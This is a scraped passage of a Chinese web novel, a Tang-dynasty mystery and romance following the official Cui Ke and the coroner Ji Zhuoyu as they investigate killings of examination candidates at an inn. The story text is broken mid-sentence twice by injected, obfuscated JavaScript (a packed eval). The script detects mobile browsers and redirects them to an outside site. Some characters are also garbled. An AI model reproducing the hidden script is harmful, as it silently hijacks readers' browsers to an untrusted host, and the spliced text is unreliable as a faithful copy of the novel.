她缓缓转头,目光看向床榻,崔大人依旧侧卧着,身后有好大一块空,她若是躺过去,根本不会挤到崔大人。 片刻,她眼珠一转,抱着合欢被,拎着绸缎引枕,鬼鬼祟祟从地上爬起来。 脚下步子放轻,像深夜屋檐上的野猫,呼吸都缓慢了。 她小心翼翼地将合欢被先放在床塌上,又将引枕放下,见崔大人没有反应,确信他睡熟了,这才脱了靴子,缓慢又静悄悄地躺到床塌一侧。 呼出一口气,缓缓闭上双眼,果然还是床塌上舒服,地上哪儿是人能睡的。 听到身后的呼吸声平稳缓慢,崔恪睁开眼,黑眸里半分困意也没有。 他怎么可能睡得着…… 只觉如卧针毡,连呼吸都刻意放得轻而缓,生怕惊扰了什么。 如果两人都生硬地躺着,还好了,偏偏并不能如愿。 季琢玉无意识地翻了个身,面朝着崔恪的方向,带着水汽和淡淡皂角香的湿发轻轻拂过崔恪放在身侧的手背,带来一阵细微的痒意。 崔恪背部肌肉绷得更紧,放在锦被下的手攥成拳,指甲深深陷入掌心尚未愈合的伤口。 他屏住呼吸,眼角的余光却不受控制地瞥过去。 她身上宽大的素色外袍翻身时松散开,衣襟滑落,露出圆润的肩头和半边凹陷的锁骨。 月光清辉下她的每一寸肌肤都泛着温玉般的光泽。 季琢玉似乎觉得热,一只手从被子里伸出来,随意地搭在合欢被上,纤细的手腕和半截小臂暴露在微凉的夜风中,肌肤滑嫩白皙,尚未完全褪色的荆棘划痕纵横交错。 崔恪眉头微蹙,终于翻过身,与她面对着。 视线将她手臂上,领口处的伤痕尽收眼底,他的脸色比查案时还要难看。 睡梦中,季琢玉感觉到有一束视线一直盯着她,可惜她深深陷在梦境中,眼皮又沉,无法睁开眼睛一探究竟。 她嘴里嘀咕了一句梦话,伸出手胡乱地推了一把,手放到什么柔软的地方,舍不得挪开。 崔恪低头看,胸前赫然多了一只小手,似把他当什么好玩的物件,举止随意轻浮。 他正要将她的手掰开,忽然,她的脑袋偏了过来,靠近他坚硬的下巴,温热的呼吸和石榴花的清香瞬间填满他的嗅觉。 他抬起的手停留在半空中,还未碰到她,先攥成了拳头。 崔恪深吸一口气,无奈地落下手,任由她趁着熟睡胡作非为。 季琢玉不满现状,还要继续得寸进尺,好像做了一个春梦,呵呵笑了两声。 一条腿屈起来,膝盖隔着薄薄的锦被,不偏不倚地抵在了崔恪紧绷的大腿外侧。 温热的触感隔着薄薄的布料十分清晰,崔恪感觉到一股灼热沿着大腿外侧蔓延,直冲头顶。 他闭上眼,默念洗冤录中的验尸条目,额角青筋隐隐跳动,牙关紧咬,伸手把搭在他腿上的一条腿挪开。 季琢玉睡得沉,在睡梦中感到不安,无意识地往他怀里蹭。 搭在崔恪身上的腿挪开了,人却贴了上来,两人挨得更近了。 她小巧的下巴无意识地蹭过他坚硬的上臂,温软细腻的触感让他短暂性的忘记了呼吸。 “嗯……”觉得舒服了些,怀中的人发出声。 声声入耳,妩媚勾人。 她全然不知,与她一同躺在床上的崔大人,脸有多黑,受到压抑地眼尾有多红。 就在理智崩塌的一瞬,崔恪掀开身上的合欢被,动作大得几乎将季琢玉惊醒。 像火燎似的下了床塌,穿上靴子,顾不上披外袍,穿着单薄的中衣,踉跄着冲到门口,一把将门推开。 高大的身体挺硬,冰凉的雨水倾泻在他身上,任由酸涩黏腻的雨落入眼眶,眼睛一眨不眨。 连成串的雨珠顺着高挺的鼻梁滑下,流过紧抿着的薄唇,黑眸透过密集的雨幕,猩红到恢复常色,天边已大亮。 季琢玉醒来的时候,床榻上哪儿还有崔大人的身影。 她披上外衣,洗净脸,寻着外面交谈的声音走出去。 崔恪坐在梨木桌案前,手指轻敲桌面,漫不经心地问:“查实了?” 他眼皮没抬,目光盯着摊开的卷宗上,上面是钱塬书童阿福的口供,墨迹簇新。 崔十□□尘仆仆,脸上满是疲惫,声音依旧脆亮:“回大人,查实了,城西济世堂到状元客栈,脚程快些,来回至多半个时辰,阿福昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969029|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日申时初刻出门,回来却已近酉时末,中间足足空了一个多时辰,问他去了何处,只含糊说人多排队。” “属下特地跑了一趟济世堂,郎中说,昨日病人不多,并不需要排队。” 崔恪的指节最后一次重重敲下,声响在寂静的房里格外刺耳。 他抬眼,看向崔十九:“一个时辰,足够做很多事了。” 崔十九应声附和:“是,大人。” 他今日觉得自家大人浑身寒气逼人,脸色比昨日还要冷峻。 看来这桩案子很棘手啊。 “季大人,季大人。” 没等季琢玉踏步走进房中,身后传来酒爷的声音。 “酒爷,您怎么到这来了?”季琢玉转身问。 酒爷看管大理寺的库房,并不需要出门查案。 “季姑娘,崔大人命我在此处等你,说等你醒了,让我带你去验尸。”酒爷态度恭敬。 季琢玉这才想起,昨晚雨大,匆匆验过王石的尸体,并未做记录,还需再验一回。 “好,请酒爷带路吧。” 酒爷点头,引着她往暂时存放尸体的柴房去,他忍不住用余光撇季姑娘,听客栈掌柜说,昨晚崔大人与季姑娘同住一间房。 今早,他犹豫了许久,不知该不该询问大人,是否需要改口。 又觉得大人和季姑娘都是脸薄之人,他贸然询问,恐惹两人不悦,此事就先搁在心里。 总归,如今季姑娘在他心里,已然是自家大人不日便会迎娶过门的夫人。 柴房内,季琢玉俯身在一具覆盖着白布的尸体旁做着最后的记录。 她搁下细毫笔,指尖沾染的泥泞混合着淡淡的血腥味。 她直起身,眉尖微微蹙起,拿起崔十九誊抄回来的阿福证词,目光划过那句“人多排队,耽搁了”。 昨日客栈内,只有阿福有作案时间,可是……他一个书童为何要杀王石呢? “一个书童,与还书的王举子素无往来,更谈不上冤仇,他为何要推人落井?” 她抬起头,目光掠过崔大人没什么表情的脸,最终落在崔十九身上。 眸眼似秋日山涧的溪水,纯粹询问,没有指责崔十九贸然推测真凶的意思。 “或许是不小心?也或许是书童与那姓钱的举子是一丘之貉,平白无故看王石不顺眼,故而遇上了便刁难他,两人推搡之间,王石落入井中。”崔十九一本正经。 忽然,窗外庭院中经过几个举子,窃窃私语的交谈声传了进来。 “你看见了?就是那个钱塬,钱大少爷!” “哼,前几日不还在人前炫耀新得的端砚?王石不过借去瞧一眼,还晚了半日,就被他指着鼻子骂得狗血淋头,那脸色,啧啧,活像王兄刨了他家祖坟。” “何止啊,别忘了前头醉死在竹林里的李淳?不也曾在诗会上落了钱大少爷的面子,说是饮酒过量,害,世上哪有那么巧的事?” “依我看,钱塬就是个睚眦必报的主儿,心胸比针眼还小,王石和李淳都得罪过他,两人接连出了意外,哼,没准儿就是他记恨在心,买凶杀人呢。” “嘘,快别说了,小心隔墙有耳,快些走吧,回去温书要紧。” 44. 第四十四章 季琢玉正凝神听着,她下意识侧过身,想看得更清楚些,目光猝不及防地撞进另一双眼里。 崔大人不知何时走到她身侧,就站在那,身形挺拔,目光沉沉,一瞬不瞬地盯着她。 眼神复杂,有审视,有探究,还有她看不懂的暗沉情绪,浓稠至极。 又是这样,季琢玉心中莫名烦躁涌,自崔大人将她从报恩寺后山救回来,这位上司,堂堂少卿大人,看她的眼神就总透着一股说不清道不明的古怪。 有时是像现在这样,深得让人心慌,有时又像隔着千山万水,冷得冻人。 她想破脑袋也想不清,哪儿得罪大人了吗? 两人之间更没有旧怨,可大人这眼神,总让她觉得像欠了他八百贯钱没还似的,浑身不自在。 她垂下眼睫,避开他令人不适的视线,指尖无意识地捻着宣纸一角。 脸颊微微有些发烫,一定是这屋子闷热。 “看来钱塬与这二人都有仇。”崔恪的声音毫无预兆地响起,落在她的耳边。 像是提醒,又像是询问她的意思。 季琢玉仰头,眼神犹豫不决,她说不好,总觉得钱塬不像是凶手。 他只是太有钱了,太目中无人了。 院子里来了官差,崔十九走出去,与来人说了什么,脸色突变,快步折回来。 “大人,下面的人来报,阿福有个相依为命的妹妹,住在洛州外祖母家,上月十五灯市,人走丢了,至今未寻回。” “洛州?”季琢玉率先喊出声,她看向崔恪,道:“大人还记得薛璋吗,他昨日说,他父亲任洛州司马,阿福会不会对他……” “你是说,阿福会将家妹走丢一事,算在薛璋头上。”崔恪接过她的话。 “大人,属下也这样以为。”崔十九点头附和。 司马一职,本就管着州中治安,阿福的妹妹走丢多日,尚未寻回,生死不明,确实归薛璋的父亲管。 钱塬总是带着几分倨傲的脸在季琢玉脑中闪过,他是否知道自己的书童背着他做了什么? 季琢玉看向崔恪,正欲问什么,目光意外落到他腰间的佩剑上,褪色的青色穗子与宝剑并不相配。 这旧穗子为何如此眼熟,深青的颜色,磨损的流苏,她一定在哪里见过,是在……是在…… 尖锐的刺痛感忽然袭来,她眼前一黑,无数破碎模糊的画面急速旋转。 滂沱的大雨声震耳欲聋,冰冷的雨水砸在脸上生疼,为何会有个女人跪在泥泞的地面上? 还有一双浸满雨水,紧握着她的手,指节修长泛白。 “唔……” 她闷哼一声,痛苦地闭上眼,抬起手按住晴明穴。 剧烈的头痛来得毫无征兆,眼前破碎的画面转瞬而逝,好似从未真正发生过。 “季姑娘?”崔十九担忧的声音传来。 季琢玉用力甩了甩头,强压下眼前窒息的眩晕和脑袋的剧痛。 鬓角的碎发被冷汗渗湿,再睁开眼时,破碎的记忆画面已退去,只留下双目茫然。 她甚至记不起刚才那一瞬间脑中闪过了什么。 她单手扶着墙,深吸一口气,尽力让自己的声音听起来平静:“无妨,有些气闷。” 她避开崔十九探究的目光,更不敢去看崔大人。 她能感觉到崔恪的视线落在她的身上,长久没有挪开。 崔恪的目光落在她苍白的脸上,看着她痛苦蹙眉,冷汗涔涔,看着她强撑着站直身体和微微颤抖的指尖。 紧攥着的手,骨节发出一声轻微的响声。 上前半步,又默默收回脚步,眼底微微泛红,胸腔里的痛意只能自己觉察。 “十九,”崔恪声音冷硬。 “即刻拘传书童阿福,钱塬那边,”他顿了一瞬,“派人盯住,一有异动,立刻回报,记住,没有实据之前,不许打草惊蛇。” “是,属下明白!”崔十九抱拳领命,神情凛然,转身大步流星走出去。 季琢玉收回手,双腿一软,险些摔在地上,还好身旁就是干柴垛,能扶住。 崔恪站在原地,没有动。 看着她微微起伏的肩膀,看着她无意识地用指尖掐着另一只手的虎口。 他记得清楚,那是她极度不安时才会有的小动作。 内心的冲动驱使着他,他想上前一步,想拂开她额前那缕碍事的湿发,想要问她头还疼不疼。 这些念头在他心里反复撞击,然而,他的脚底却像生了根,站在原地一动不动。 他不能,每一次靠近,都会让他更加痛苦。 她眼中纯粹的陌生和偶尔闪过的戒备,如同锋利的匕首扎进他的心里。 他知道,这一切都是他咎由自取。 刀剑无眼,伤人性命,爱恨交加,让人生不如死。 他缓缓移开视线,目光垂落到佩剑的剑穗上,深青的丝线早已褪色发白,磨损得厉害,穗结也松散变形。 她笨拙地熬了好几个通宵才编成的,手指被丝线勒出红痕,捧着这穗子,眼睛亮亮的,笑着开心…… “咳。”咳嗽声传来,压抑着痛楚。 崔恪猛地回神,迅速收敛了所有外泄的情绪,转过身去,只留下一个冷峻的背影,走进柴房。 “此案水深,慎言慎行。”低沉的声音传来,没有称呼,没有温度。” 季琢玉望着他走远的背影,余痛尚在,眼前朦胧一片,自言自语答:“是,大人。” 她慢慢直起身,手心的疼袭来,她低头看,虎口处被自己掐出深深月牙印,困惑不已。 这个习惯是什么时候养成的,为何刚才头痛欲裂时掐了自己都没发现? 她甩甩头,将无关的杂念驱逐出去。 眼下最重要的是案子! 阿福意外跌落悬崖的妹妹,醉酒暴毙的李淳,失足落井的王石…… 崔大人的提醒如空穴来风,此案确实复杂,不能单凭旁人的只言片语就断定谁是凶手。 昨夜雨下得大,今日拂晓到晌午,天未亮堂放晴,依旧阴沉沉。 冰冷的风夹杂着院里枯叶腐败的气息,灌入二楼一间布置奢华的上房。 糊窗的薄纱上映着烛光,红光跳动了几下,随后薄纱上的暗影疯狂扭曲,最后映出悬在房梁正中的一具微微晃 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崔十九脸色铁青,牙关紧咬,道:“大人,果然如咱们所想,此案真是他做的。” 门外传来举子们小声议论的声音。 “还真是他。” “果然是他做的,客栈里就他平日最嚣张跋扈,没想到竟能胆大到杀人的地步。“ “好生吓人,还好我平日不曾得罪过此人。“ …… “畏罪自尽?”清冷的声音从房中传来,盖过门外举子们的窃窃私语。 季琢玉站在钱塬悬吊的尸身下方,仰着头,目光紧紧盯着钱塬肿胀发紫的脖颈。 杭绸腰带深深嵌入他的皮肉里,勒痕边缘呈现出深紫色。 勒痕的斜后方,靠近发际线的地方,紫红色瘀痕更重。 这绝不是自缢能形成的,自缢的索沟应是向上斜行的“提空”状,这道痕迹,分明是被人从背后以极大的力量,用某种坚硬细长的物体瞬间压迫颈侧造成的。 “大人,他不是自缢,是被人扼杀。”季琢玉惊喊出声,指着悬梁自尽的钱塬。 “再看仔细些。”崔恪坚定的口吻。 崔十九瞪大眼睛,不可思议,他并非是怀疑季琢玉,而是惊讶她是如何判断出来的。 真是神了,季姑娘有这本事,从前怎么没来大理寺当仵作呢? 门口围着的举子们乱作一团,面面相觑,叽叽喳喳一片。 “怎么可能,他不是自杀?” “不是已经认罪了吗,大家都瞧见了,认罪书是钱塬亲手写的错不了。” “是啊,季大人,您会不会看错了……” 季琢玉摇摇头,她绝对不会看错的,自杀和扼杀,后颈的勒痕差很多,很容易就能分辨出来。 她需要一个确凿的证据,一个无法能让人心服的证据。 她的目光快速扫过钱塬垂落的双手,指甲修剪得整齐干净,透着养尊处优的粉润。 他的右手食指和中指的指甲缝里似乎嵌着一点极其微小的异物,仔细看过去,是凝固的血? 45. 第四十五章 “大人!他指缝里有血,应该是跟凶手打斗时留下的!”季琢玉急着要给崔恪看,薛璋身上并无伤口,指缝里又怎会有血。 呼! 一股劲风她身后袭来,紧接着,一只滚烫有力的大手扣上她的腰,另一只手攥上她的手腕,将她整个人向后一带。 “唔。”季琢玉瞳孔骤缩,浑然不知发生了什么,只看到一支飞镖从她双睫前擦着飞过去。 甚至来不及反应,身体便不受控制地撞入一个坚硬灼热的胸膛。 冰凉的额头抵在他胸前,眼前是一片黑暗。 崔恪宽大的袍袖,严严实实地遮住她,同时,一个转身将两人的位置互换,他背对着窗,扭头看向窗外,眼神寒气四溅。 银光闪闪的飞镖擦过两人身前,嵌入门框,锋利无比,杀气十足。 是有人要灭口,见不得季琢玉眼尖,见不得真相大白。 “大人……”季琢玉被他紧紧地揽在怀里,动弹不得,她小声唤他。 “别出声。”低沉急促的声音紧贴着她的耳廓响起,灼热的气息喷在她的耳垂上,像一支羽毛扫过心尖尖。 崔恪的声音压得极低,每一个字都咬得重重的,带着前所未有的紧绷和紧张。 “有人在窗外。”他几乎贴着她的耳廓说话,箍着她腰间的手臂收得死紧,勒得她几乎喘不过气,“下一个目标是你。” 是她? 季琢玉背后一凉,僵硬地靠在崔恪怀里,心脏剧烈地震动着胸腔,几乎要跳出来了。 她清晰地感受到面前男人胸膛中同样剧烈的心跳,像战鼓,咚咚咚地撞击着,甚至比她的心跳得更猛烈。 崔大人全身的肌肉都紧绷到了极致,灼热的气息和他身上传来的紧张感,让她不敢动,老实地站着,由他揽着。 她的手不自然地攥起来,双睫颤抖着,比索命的飞镖从眼前擦过时还要抖动得厉害,咬着唇,不敢抬头去看他。 她想象不到此刻门外的举子们是什么表情,该是多震惊,多疑惑…… 良久,她忽然听到一阵疾风擦过窗外树枝的声音,极其细微的,几乎被风声掩盖的“嚓”的一声轻响。 更像是什么人从树上纵身一跃,不见了踪影。 腰上男人有力的手臂箍着她,收紧了一分,勒得她肋骨生疼。 见他没有松手的意思,季琢玉偏偏头,小声提醒:“大人,外面的人走了,您能放开我了吗?” 话音刚落,后腰上的大手倏然松开,她得了自由,新鲜冰冷的空气猛地涌入季琢玉的肺部,让她控制不住地呛咳起来。 大人差点将她勒死…… 窗外再没有异样,崔恪紧绷着的身体缓慢放松,他侧站着,余光撇向门外。 举子们脸色惨白,一个个盯着门框上的飞镖,哪儿有心思看他和季琢玉方才如何。 凶手就在他们身边,而且随时可能取走他们的性命。 “大人!您可一定要抓住凶手啊,我明日要去贡院考试了,我娘还在乡下等我,不能有闪失啊。” “是啊,此人不仅心机了得还会用飞镖,足以杀人于无形。” “佛祖保佑,千万不要再死人了……” 举子们七嘴八舌,不是求救就是求神拜佛,人心惶惶,如此怎么还能专心参加考试? “不对!”人群中忽然传来一道声音,是赵海,他冲出来,“刚才那人不是凶手,他武功极好,比起制造意外,一镖致命对他来说更容易。” 季琢玉看向他,点点头:“你说得对,也许不是一个人。” 还未把真凶找出来,现在又来了一个不速之客,此人武功极高,善于用飞镖。 崔恪脸色沉沉,神色无异,目光一扫而过嵌入门框上的飞镖,并未细看。 之前狱中的西突厥人,就是被此人隔窗杀害的。 崔十九姗姗来迟,冲进屋内,担忧地问:“大人,您没事吧。” 他方才在客栈外,看到一个黑影从树上一闪而过,身手矫捷,如同鬼魅,他追上去,人影已经不见了。 “没事。”崔恪语气平淡。 他似乎已经猜到了这个一直跟着他的杀手是谁。 有他在,此人想取季琢玉的性命,想都别想。 崔十九看向一旁的季琢玉,目光匆匆扫过,迅速移开目光,季姑娘也无事,便好。 季琢玉走过去,仔细看门框上的飞镖,飞镖上有一朵极小的花样,像是牡丹花。 世上牡丹花千千万万,各有不同,飞镖上雕刻的这朵牡丹花竟与她左肩上的十分相似。 只是她肩膀上的牡丹花更艳更红也更大,眼前这朵透着寒气,冰冷至极,小而精致。 忽然,脑袋又疼起来了,她痛苦地闷哼一声,再也支撑不住,双腿一软,身体不受控制地向前栽倒。 一只滚烫的大手猛地伸出,在她即将触地的瞬间,抓住她冰凉的手腕。 “大人……”她反握住搀扶她的手臂,不知不觉整个身体的重量都压在崔大人的手臂上。 对视上崔恪的黑眸,她赶紧站稳身体,倏然将手松开。 “属下没事。”她慌忙解释,快步从钱塬的房间走出去。 直到走下楼,她的脸色才好看了些,头疼也减弱了,为何,为何这样…… “季大人?”迎面走进来一个人,唤她的声音将她的思绪拉回。 季琢玉定睛一看,正是薛璋,他撑着油纸伞,手里抱着厚厚的书卷,从外面风尘仆仆地走进来。 “薛公子?你这是去哪儿了?”她询问。 方才忙着查验钱塬的尸体,竟没察觉客栈里少了一个人。 “回大人的话,学生一大早就去书肆了,明日便是贡院开考的日子,学生想着多带些书,以备不时之需。” 薛璋态度恭敬,脸上笑容和善,他与旁的举子不同,身上自带官家人的气质。 “这几日客栈里接连发生命案,举子们无心功课,薛公子还能如此用功,实为不易。”季琢玉浅笑。 薛璋望一眼客栈大堂墙上挂着诸多木牌,那些牌子刻着每一个举子的名字,按照成绩和名气依次排序。 凡事进客栈的人,都能看到。 “大人谬赞,学生不敢当。”薛璋收回目光,眼底略有失落,“大人没有旁的事吩咐学生,学生便先回房看书了。” 他要走,季 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胖得几乎要撑裂绸衫的客栈掌柜,此刻全然没了平日的圆滑谄媚,急得原地打转,油亮的脑门上全是汗珠。 “案子不是明摆着吗?钱公子自己都认罪了,遗书墨迹未干,人也是吊在房梁上,书童阿福畏罪潜逃,这还有什么好查的?” 他声音尖利,带着一种被断了财路的怨毒,“再拖下去,小店还开不开了,举子老爷们还要不要考试了,这可是天子脚下,贡院开科的大事,耽误了,谁担待得起?” 围在外面的举子们骚动起来,不安和恐慌最后变成了埋怨。 “是啊,钱塬自己都认罪了。” “王兄、李兄死得冤枉,如今凶手也偿命了,该结案了!” “明日就要入场,今夜还要被拘在这里盘问,心神不宁,如何应试?” “请少卿速速结案,还我等一个清净备考之地!” 院子里收拾书箱、卷动纸页的哗啦声此起彼伏,夹杂着刻意压低的抱怨和催促。 季琢玉挤出人群,跑进屋里,嚷道:“大人,不能结案!” 她发现了重要的信息,但碍于举子们都在院中,掌柜的也在,她不能说。 凶手就在他们之中,万万不可打草惊蛇。 崔恪见她进来,眼皮抬起,并未应她的话。 季琢玉这才注意到,站在一旁的崔十九,手中托着一份结案文书,崔大人面前放着一方沉甸甸的青铜官印。 落下这枚官印,此案便算结了。 她忽然语气改了,质问道:“大人,您是想结案?” 几乎是不敢相信,崔恪何时变成了这样,也像县廨的县尉一样,草草结案,敷衍了事,愧对百姓,愧对天后。 她的眼睛直勾勾地盯着崔大人的脸,也不顾什么上官和下属的关系,她只求崔大人收回成命,继续彻查此案。 崔恪:“此案真凶已畏罪自杀,任何人不得再议论此案。” 季琢玉呼吸一停,她微微张开唇,眼神里尽是失望。 那眼神里似乎在说:大人,我原以为您跟其他的官差不同......现在看来,别无二样。 46. 第四十六章 崔恪不看她的眼睛,拿起手边的官印。 众人的目光紧盯着他手里的一方官印,仿佛官印落下,大家都能松一口气。 举子们认定钱塬是凶手,既然钱塬已死,他们也可以安心备试了。 掌柜的也想让此案尽快了结,他是开店做生意的,命案一直未了,南来的北往的都不敢进店,还有几个举子嚷着要退房,他费尽口舌才将举子们留住。 “少卿,您倒是落印啊。”掌柜的又催。 “盖印吧,大人,案子结了,大家都清净,您这就让人把钱塬的尸首抬走,学生们也好安生读书。”门外探头进来的举子也跟着附和。 季琢玉不吭声,直勾勾地盯着崔大人。 崔恪余光瞥见她一脸愤愤,不与她对视,像是刻意避着似的。 季琢玉忍无可忍,一个箭步走上前,单手撑在桌子上,另一只手盖住结案文书。 “季……”一旁的崔十九出声要阻挠她。 崔恪手一抬,示意崔十九退下。 季琢玉冷冷地目光扫在崔恪的脸上,这无疑是大不敬。 崔十九默默站在一旁,倒吸一口冷气,季姑娘也是有本事的,一句话不说,只一个眼神,便让崔大人的手停在了半空中。 季琢玉的目光并没有长久停在崔大人的脸上,她低头看着结案文书,文书上写着钱塬两个字。 崔恪明知道,此案的真凶不是钱公子,他也是受害人之一,怎么会写下这样一份结案文书? 季琢玉不明白这其中发生了什么,她想一探究竟,奈何崔大人的脸色是她看不懂的,深邃的黑眸更是一点破绽也没有。 “不能结案?” 崔恪嘴角勾起一抹弧度,缓缓对视上她的目光。 崔十九立在一旁,不愿睁眼看,季姑娘来势汹汹,不敬上官,可大人哪儿有生气的意思,那眼神分明是在与季姑娘……打情骂俏。 没眼看,压根没眼看。 季琢玉坚定地点头,一字一句说:“我发现了新的线索,我知道凶手为什么杀人了。” 此话一出,屋外的举子们又开始叽叽喳喳,声音盖过树上的雀。 掌柜心中疑惑不解,问道:“此案不是因举子间不合而生吗?” “当然不是,我们从一开始就中了凶手的圈套,他故意引导我们将视线放在与死者素日不合的举子身上,也就是钱塬和他的书童。” “这两人虽然与王石和李淳都有过争执,但却没有杀他们。” 崔十九听得专注,问道:“何以见得?” 季琢玉看一眼崔恪,崔大人并没有阻止她的意思,她又继续说:“大堂中间挂着的木牌就是最好的证据。” “大人是说,举子的排名?”掌柜接过她的话。 “是,”季琢玉应声,严肃道:“李淳,王石,还有钱塬,这三人的排名分别是三百零一,三百零二,三百零三。“ 她顿了顿,扫了一眼站在屋外的众举子,她本没打算当着他们的面说出此事的,担心他们会更加恐慌。 可是他们却在屋外围着,嚷着要崔恪结案,此举实在让人无法忍受。 “凶手是按照举子排名杀人的,从后往前,从第三百零三位到第三百零一位。“ 季琢玉话音落地,孙海从举子中冲了出来,三步两步来到崔恪眼前,扑通一下双膝跪地,吓得脸色惨白。 “大人,大人,您一定要救救我啊,我,我是第三百位。“ 举子们乱作一团,七嘴八舌,脸色大多白着,神情慌张。 若凶手真是按顺序杀人,他们一个也活不成。 下一个是孙海,再下一个就是他们之中的某一个。 “一派胡言。”崔恪声音威震,不容反驳。 季琢玉被他吼了一声,愣在原地,迟迟没说上话。 崔大人不信她所说的? 崔十九看着眼前的这一幕,默默摸了摸后脑勺,苦恼不堪。 他怎么看不懂了? 连他都觉得季姑娘所言在理,此案不该如此匆匆了结,怎么崔大人却冷脸呵斥? “三人排名相近,只是巧合,不能单凭这一点就认定凶手是按照顺序杀人。” 季琢玉闻言,紧接着问崔恪:“不是相近,是并排,死了王石是巧合,紧接着钱塬也死了,大人也觉得这是巧合吗?” “那本官问你,凶手为何要按照这个顺序杀人?”崔恪一语问到点上。 季琢玉张了张嘴,意识到自己回答不了这个问题。 与此同时,孙海从地上爬起来,拍拍自己的袍服下摆,恭敬地冲着崔恪行礼。 “大人,既然并非如此,学生心中的担忧也就打消了,先行退下。” “诶,”季琢玉上前半步,欲要拦住他,奈何孙海放下心快步走出去,连看都没看她一眼。 崔大人办案名声在外,断案奇才,他说谁是凶手谁一定就是凶手。 季琢玉一个名不见经传的小仵作,她的话谁会信? “大人,属下以为,” 季姑娘所言在理。 崔十九对视上自家大人冷峻的俊容,后半截话没说出口,大人那眼神好似在说,他心意已决,容不得旁人反驳半句。 季姑娘放肆,他也要跟着放肆吗? 万万使不得,季姑娘一日二百文的工钱,他一日只有二十文,季姑娘可以以下犯上,他说话前还是三思为妙。 “你有话要说?”崔恪眼皮一抬,漫不经心。 “没,属下没有什么要说的,一切按大人的意思办。”崔十九摸一把额头上的冷汗,得亏自个机灵会看脸色。 季琢玉瞪崔十九一眼,被这一主一仆气得不了,转身迈着大步走了,脚下带起一阵急风。 崔十九扯动嘴角,望着季姑娘的背影,他想追上去解释,可大人紧盯着他,他不敢。 崔恪已将结案文书落上官印,崔十九走上前,双手拿起结案文书,准备呈递大理寺。 “此案已结。”崔恪起身,撂下一句话,走出屋子。 举子们纷纷离去,掌柜眉开眼笑回大堂招呼客人了,一切都回归了寻常。 凶案像没发生过,春闱照常进行,明日贡院开考,还是会一片繁华热闹。 客栈柴房灯烛彻夜未熄,季琢玉一边又一边验尸,面前是躺着三具尸体,李淳,王石还有钱塬。 无论她如何验尸,都无法让自己认可崔大人的断案结果。 凶手绝对不是钱塬! 一封遗书,哪怕是他亲手写的,也说明不了什么。 凶手完全可以逼迫他,逼迫他亲手写下遗书,再将他杀害,这是很简单的事情,而且很容易就能想到,为何崔大人却视若无睹? 她心中越想越气,扔了羊肠手套,这个仵作谁愿意干谁干吧,她再也不干了。 等崔恪身上的伤好了,她就离开大理寺,回她的西市逍遥快活去。 “季姑娘,该走了。”酒爷的声音从窗下传来,已经是第三遍催她了。 案子了结,崔大人已经派官差将尸体都带回大理寺了,另寻他们的家人来认领尸体,好生安葬这三人。 大理寺的马车也在外面候着了,崔大人和崔十九都已出门,就等季姑娘上车,一同回去。 屋里没声音,吱呀一声,木门打开。 季琢玉双眼红着,瞧着很是疲惫,身上的味道带着一股尸体腐烂后的臭味,她不以为意,径直走出客栈。 她来到客栈门口,果真看到马车停在外头,崔十九抱剑站在马车旁,崔恪一身绯红官袍,气宇轩昂,风度翩翩。 季琢玉只觉得扎眼,一眼都不想看。 “季姑娘,”崔十九的声音焦急,迎上来,“大人等您许久了,快些上马车吧。“ “不了,”季琢玉声音不大,眼神冷漠,“我还是回胡饼铺子吧,反正案子已经了结。” “可……大人身上的伤还没好呢。”崔十九劝她。 “你看他像是伤口没好利索的样子吗?”季琢玉反问,语气不善,“我觉得你家大人好得很。” 她这是还在生气。 崔十九真急了,看看旁边的崔大人,又看看面前的季姑娘,两人谁也不让谁,非要争个对错。 “季姑娘,您一身本事,是卑职见过最厉害的仵作,若是不回大理寺,跟着咱们大人查案,岂不是白白浪费了这身本领……还有每日二白文的工钱,您也不要了吗?” 季姑娘不管大人了,总不能连银子也不管不顾吧。 “不要了,”季琢玉故作云淡风轻,实则心在滴血。“十九大哥,我也奉劝你一句,良禽择木而栖,贤臣择主而事,天下之大,哪里都能查案,哪里都能赚得银子,在昏庸之人身边做事,才是真的浪费一身本领。” 崔十九屏住呼吸,怯怯看向自家大人愈加冷沉的脸。 季姑娘这张嘴,真是不饶人啊,又是说大人是木头,又是说大人昏庸,听的他一身冷汗。 “大不了我就去找杨大牛,江南富饶,遍地都是银子。”季琢玉轻扬下巴,抬起手拍了一下崔十九的肩膀,“你也是,到时来江南找我,保准比在大理寺赚得多。” 明目张胆当着崔大人的面被挖墙脚,崔十九还是头一回有这样的待遇。 “不不不,”他连忙退后,恭敬道:“卑职绝无此心,此生只求在大理寺当差,为崔大人鞍前马后。” 季琢玉挑挑眉,当然知道他对崔恪忠心耿耿,她这番话故意说给崔恪听的而已,让他日后好自为之。 崔十九转头看向自家大人,盼着大人能说句好话,将季姑娘留下。 “走!”崔恪冰冷吐出一个字,浑身戾气,上了马车。 季琢玉拍了拍手上的灰尘,不再搭理主仆二人,忽然一转身,注意到客栈外站着一个女子,与路人不同,神色异样,像是要找什么人。 身形单薄,一身素雅的月白窄袖襦衫,下系青碧色长裙,裙裾无绣,仅以素纱为缘。 乌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984588|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发绾作简洁的双螺髻,未戴繁复花钿,发间唯斜簪一支青玉竹节簪,素净清冷。 眉眼低垂,心事重重,立在那好似风吹会折断的鲜绿翠竹子。 手指上涂着鲜红蔻丹,拧着绣花帕子,犹犹豫豫拦住出门的举子。 